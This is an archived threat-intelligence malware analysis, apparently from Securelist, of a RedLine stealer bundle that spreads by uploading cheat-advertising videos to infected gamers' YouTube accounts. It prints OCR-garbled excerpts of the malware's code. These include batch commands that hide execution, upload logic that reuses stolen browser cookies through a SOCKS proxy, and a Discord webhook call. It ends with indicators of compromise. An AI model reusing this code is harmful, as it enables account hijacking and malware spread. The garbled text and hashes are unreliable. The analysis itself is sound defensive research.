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Self-spreading stealer attacks gamers via YouTube

By Oleg Kupreev

Published: 2022-09-15 - Archived: 2026-04-06 01:19:48 UTC
UPD: A notice on Google’s response to the issue was added.

An unusual malicious bundle (a collection of malicious programs distributed in the form of a single installation
file, self-extracting archive or other file with installer-type functionality) recently caught our eye. Its main payload
is the widespread RedLine stealer. Discovered in March 2020, RedLine is currently one of the most common
Trojans used to steal passwords and credentials from browsers, FTP clients and desktop messengers. It is openly

available on underground hacker forums for just a few hundred dollars, a relatively small price tag for malware.

The stealer can pinch usernames, passwords, cookies, bank card details and autofill data from Chromium- and
Gecko-based browsers, data from cryptowallets, instant messengers and FTP/SSH/VPN clients, as well as files
with particular extensions from devices. In addition, RedLine can download and run third-party programs, execute
commands in cmd.exe and open links in the default browser. The stealer spreads in various ways, including

through malicious spam e-mails and third-party loaders.

The bundle: what’s inside beside RedLine

In addition to the payload itself, the discovered bundle is of note for its self-propagation functionality. Several
files are responsible for this, which receive videos, and post them to the infected users’ YouTube channels along
with the links to a password-protected archive with the bundle in the description. The videos advertise cheats and
cracks and provide instructions on hacking popular games and software. Among the games mentioned are APB
Reloaded, CrossFire, DayZ, Dying Light 2, F1® 22, Farming Simulator, Farthest Frontier, FIFA 22, Final Fantasy
X1V, Forza, Lego Star Wars, Osu!, Point Blank, Project Zomboid, Rust, Sniper Elite, Spider-Man, Stray,
Thymesia, VRChat and Walken. According to Google, the hacked channels were quickly terminated for violation

of the company’s Community Guidelines.
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Examples of videos spreading the bundle
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The original bundle is a self-extracting RAR archive containing a number of malicious files, clean utilities and a

script to automatically run the unpacked contents. Because of the expletives used by the bundle’s creators, we had

to hide some file names.

Mame Size | Madified CRC32 ;The comment below contains SFX script commands
] - bt 69 31.07.202220:25 EBAS4FSE EZEE;;;iZ;:z?CDDl.EKE

(] - bat 60 31.07.2022 20:24 523BDD82 Setup=ttempt/WMl . cx=

[ AutoRun.exe 5632 31.07.202220:013 9ATIEZVF || setup=%tempd/RutoRun.exe

[5] cool.exe 2623453 31.07.2022 20012 87F8BS1A  ||Silent=1

15 download.exe 35888420 26.07.2022 21:35 0AT0255C ||Cverwrite=l

[0 . exce 1828192 31.07.2022 20:07  7BeRBA1V2

(85 MakiseKurisu.exe 328192 31.07.2022 20:13  ET436CDA

(8] nir.exe 43568 26.07.202219:43  12B43443

(55 upload.exe 41637410 26.07.2022 21:37  CE1AD4S7

Contents of the self-extracting archive

Right after unpacking, three executable files are run: cool.exe, ***.exe and AutoRun.exe. The first is the RedLine
stealer mentioned above. The second is a miner, which makes sense, since the main target audience, judging by
the video, is gamers — who are likely to have video cards installed that can be used for mining. The third
executable file copies itself to the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup directory,

which ensures automatic startup and runs the first of the batch files.

The batch files, in turn, run three other malicious files: MakiseKurisu.exe, download.exe and upload.exe. These
are the files responsible for the bundle’s self-distribution. On top of that, one of the batch files runs the nir.exe

utility, which lets malicious executable files run without displaying any windows or taskbar icons.

Becho off Eecho off

nir.exe exec hide nir.exe exec hide jEEEENi.bhat
cd /d ZTEHP%

MakiseKurisu.exe
download.exe
upload.exe

Contents of the first and second batch files

The size of the download.exe file is an impressive 35 MB. However, it’s basically a regular loader whose purpose
is to download videos for uploading to YouTube, as well as files with the description text and links to the
malicious archive. The executable file is large because it is a NodeJS interpreter glued together with the scripts
and dependencies of the main application. The malware takes the file download links from a GitHub repository. In
the latest modifications, a 7-Zip archive with videos and descriptions organized into directories is downloaded.

The archive is unpacked using the console version of 7-Zip, included in the bundle.
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m E AbuVideos.7z - 7-Zip archive, unpacked siz

Mame Size | Modified E] E AbuVideos, 72\ Crossfire - 7-Zip archive, ung
APE Reloaded 21.07.2022 2:21 Na.rne Size  Modified

[} Crossfire 23.07.2022 2:21
DayZ 23.07.2022 2221 2 video.mpd 35641937  27.06.2022 22:00
Forza 23072022221 o) deskit 891 10.07.2022 1:33
gmod 23072022 221 =l namedxt 54 27.06.2022 21:57
Osu 23072022221 =l tagsixt 475 27.06.2022 21:59
PointBlank BoT202zz21 B 0gpg 106 749  27.06.2022 22:02
Project Zomboid 23.07.2022 2:21
Vrchat 23.07.2022 221

Contents of the 7-Zip archive

MakiseKurisu.exe is a password stealer written in C# and modified to suit the needs of the bundle’s creators. The
source code from GitHub was likely taken as the basis: the file contains many standard stealer features that are not
used in any way. These include checking for a debugger and for a virtual environment, sending information about

the infected system to instant messengers, and stealing passwords.

So, what remains and what do the changes amount to? The only working function in MakiseKurisu.exe is
extracting cookies from browsers and storing them in a separate file without sending the stolen data anywhere. It
is precisely through cookies that the bundle gains access to the infected user’s YouTube account, where it uploads

the video.

The last malicious file in the bundle is upload.exe, which uploads the video previously downloaded using
download.exe, to YouTube. This file is also written in NodeJS. It uses the Puppeteer Node library, which provides
a high-level API for managing Chrome and Microsoft Edge using the DevTools protocol. When the video is

successfully uploaded to YouTube, upload.exe sends a message to Discord with a link to the uploaded video.

Page 3 of 5


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/09/13132518/Self-propagating_stealer_04.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/09/13132518/Self-propagating_stealer_04.png

https://securelist.com /self-spreading-stealer-attacks-gamers-via-youtube/107407 /

const ¢ upload > = roquireC:.supload. jo*>s || let cookiesDirPath; 5
const fs = require{’fs/promises let cookiesFilePath;

const path = requireC’path’>; const invalidCharacters = ['<’, '3'1;

const edge = \\Program Files (xBB)\\Iﬂcrnsul:\\ldsa\\ﬁnnlicatlﬂn\\nl.da. exe"; const uploadURL = 'httn: /7vnavt . youtube . nun/unlnad"

const chrome :\\Program Files\\Google\\Chrome\\Application\\chrone.exe"; const homePagelRL = ' https:/suin.youtube .con’

const chrome2 \\Users\\$<process . enu .USERNANE} \\AppDatassLocal\nGoog lensChrone SxS\\Applic

o
® import < upload > from ’youtube-videos-uploader’

const fss = require<’fs’); = or
® const ¢ upload > = require’ youtube-videos-uploader’);
function Chec O <
if ss.existsSync{edge’) return edge; nunst u]l oad = {c; i wide: h, cookes) => _ awaiterlvoid 0, void 0. void
e e retuen Sheane ; Yield lannchﬂrnmer(puppetaerl.aum:h, cookes);
if (Fss.existsSyncchrome2)) return chrone2; console. log<’ tut’
return null; s7/yield lnadﬂtcnnn!(tredantlals),
consolo.Tog¢’ tut2’ >

>

i <Math.ceilCvideos.length/sized; i++>{

Casyne O => subarrayli] = videas slice(Cixsized, Cimsize} + sized;
Function shuffleCarray> ¢ >
t currentindex = array.length, randonlndex; const uploaded¥TLink = [1;
or <const video of subarray> <
77 While there remain elements to shuffle. let discordAll = yield Promise.alllvideo.map{z=>up =, cookes, h>>
while CcurrentIndex = 0> <

console.log¢discordAll);
7/ Pick a vemaining element . uploadedYTLink.push(discordnll);
randonIndex th. flnnr(l“ath randon{)> * currentIndex); >

currentIndex:

return uploaded¥TLink;

/7 And swap it with the current element. b3 H
Tarraylcurrentindex]. arraylrandonIndexil = [ exports upload = uploads
arraylrandomlndex]. arraylcurrentIndex11; “videoJSON = <), avoid ‘videoJSON = undefined’ throw error.
> yne Tanction uptosdiidesculdesdaon: cootis, pappetborlounchy ¢
let coock = await convertl(coocks);
return array; let hrnu:er

return 7auaiter(tlus. void 8, veid @, function= <> ¢
const credenti

i = < email: I g nail con’ . pass: * (U’ 3§
let videos = [1;

const cookies = (await fs.readdir{’./Cookiesfbu’>).maplasync(file> => await fs.readFile(" ./

try < ;
const previousSession = true;

brouser = yield puppeteer_extra_i.default.launch(puppeteerLaunch);

for <dir of avait fs.readdir<”./Abubideos">> < const page = yield browser.neuPage<<{tincout: 30080000 >;
e yield page.setDefaultTineout{D>;
const video = [ if <previousSession)
-/8hubideos /v 77 IF Fils exist load the sookies
" 7Abulideo dp: const parsedCookie socks
it o eesaPilec: i i UEE8 ) ccateh(O) <> null) for (et coakis of parsedCeokieed <
Cawait fs.readFils A -/ d '/tags .t ‘utf-8">_catch(() => null
Swalt o readFilec. Abubideoars + dir + “rnang.ixt . *utf-8’ 3.eabeht<> = null> ymm pags -getCookieccookie):
catc
4 const video = v /Mbubidevss v dlx + “ svideo.npd; >
77 const previe ulideoss" + dir + /0. jpg’ b
7¢ const desk - i *utf-8”> . catch >
/7 const tags = Cawait f3._peadFile Tutf-8°) . cate yield page.setUiewport({ width: width, height: height >);
7 const_mame = awai i *utf-8”>.catch #ield page sotBypassCEPierue>:
console. log{uideo. indexOf Cnulld>; d_page.setDefaultNavigationTineout<0);
console.logCvideols const pachPobdis o oidealton path:
if Cwideo.indexOf<null> == -1> < if <fpathToFile> <
wideos . push({ throw new Error(“function ‘upload'’s second param ‘videos'’s item ‘wideo' must inclu
path: video[8], bt
publishType: "public", for (let i in invalidCharacters)
title: videold], if CyidooJSON. titla, includesCinualidCharacters (113>
description: videol2], now Erroré: "4<videodSON. title> " includes a character not allowed in youtuk
Ehunbandle vides (112 S CoidoodBON. channe Rame)” ¢
)y, tagsi video[3] ,  vield 1CvideoJSON.channe1Nane);
> const title = videoJSON. titles
¥ catch Ce> € ion = ui iptions
Const tage PuidcoJdsON. ags
> 77" For hackard conpatablilic playlist.nane is checked firse
> const playlisthane = uide 050N, playlist;
const videolLang = videoJSON. 1an!nag!-
for await C(const cookie of cookie const thumb = uvideoJSON.thumbnail;
const load = uplnad(crednntlals, $ehutf locuidens, € const uploadAsDraft = uideoJSON.uploadfsDrafts
execntahla?ath  Cheo <> vield page.setDefaultTingout(tineouty;
s socksS: 7(10.64.194.195:20719"]1 vield page.evaluate(<)
, cookie toString<>> thentconaols. 1oy , vindou: onbeforeunload = null;
< > ol|¢ >

Code for video uploading

if {uploadAsDraft)
return uploadedLink;
cunﬁule.lug(upluadEdLink};

try {

axios({"url": "https://discord.com/api/webhooks/10808815091089036504/aa-5
Dchuh_9h2td325nLng2EqHuj?E?SEUIyUJwtwﬂﬂwiu?UMgDhrmEthwulznldm", method:
‘post™, data: {content: upluadEdLink}}}.catch{{}=>nu11};

} catchi{e) {

H
// Wait for closebtn to show up
try {
yield sleep(18888);
yield page.waitForXPath{closeBtnXPath};

H
catch (e} {
try {
browser .close();
¥ catch{e) {

b

return upluadUideu(uideuJSﬂH, coocks, puppeteerLaunch);

Code for sending notification to Discord

Conclusion
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Cybercriminals actively hunt for gaming accounts and gaming computer resources. As we noted in our overview

of gaming-related cyberthreats, stealer-type malware is often distributed under the guise of game hacks, cheats

and cracks. The self-spreading bundle with RedLine is a prime example of this: cybercriminals lure victims with
ads for cracks and cheats, as well as instructions on how to hack games. At the same time, the self-propagation
functionality is implemented using relatively unsophisticated software, such as a customized open-source stealer.

All this is further proof, if any were needed, that illegal software should be treated with extreme caution.

IoC

MD5 hashes
32dd96906f3e0655768ea09d11ea6150
1d59f656530b2d362f5d540122fb2d03
6ebe294142d34c0f066e070560a335fb
64b4d93889661f2ff417462e95007fb4
b53ea3c1d42b72b9c2622488c5fa82ed
ac56f398a5ad9fb662d8b04b61aledcs
f80abd7cfb638f6c69802e7ac4dcf631
e59e63cdaec7957e68c85a754c69e109
9194¢2946e047b1e5cb4865a29d783f4
f9d443ad6937724fbd0ca507bb5d1076
7cd4£824f61a3a05abb3aac40f8417d4

Links to archives with the original bundle
hxxps://telegra[,]ph/2022-July-07-27
hxxps://telegra[,]ph/DayZ-Eazy-Menu-06-24
hxxps://telegral.]ph/Cossfire-cheat-06-24
hxxps:/telegra[,]ph/APB-Reloaded-hack-05-29
hxxps://telegral,|ph/Forza-Horizon-5-Hack-Menu-07-13
hxxps://telegra[,]ph/Point-Blank-Cheat-05-29
hxxps://telegra[,]ph/Project-Zomboid-Private-Cheat-06-26
hxxps://telegral.]ph/VRChat-Cheat-04-24

Links to GitHub
hxxps://githubl[.]Jcom/Abdul YaDada/fdgkjhfdguoerldifgj
hxxps://raw.githubusercontent[.Jcom/Abdul YaDada/fdgkjhfdguoerldifgj/

RedLine C2
45.150.108J.167:80

Source: https://securelist.com/self-spreading-stealer-attacks-gamers-via-youtube/107407/
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https://opentip.kaspersky.com/https%3A%2F%2Ftelegra.ph%2FAPB-Reloaded-hack-05-29/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3A%2F%2Ftelegra.ph%2FForza-Horizon-5-Hack-Menu-07-13/?utm_source=SL&utm_medium=SL&utm_campaign=SL
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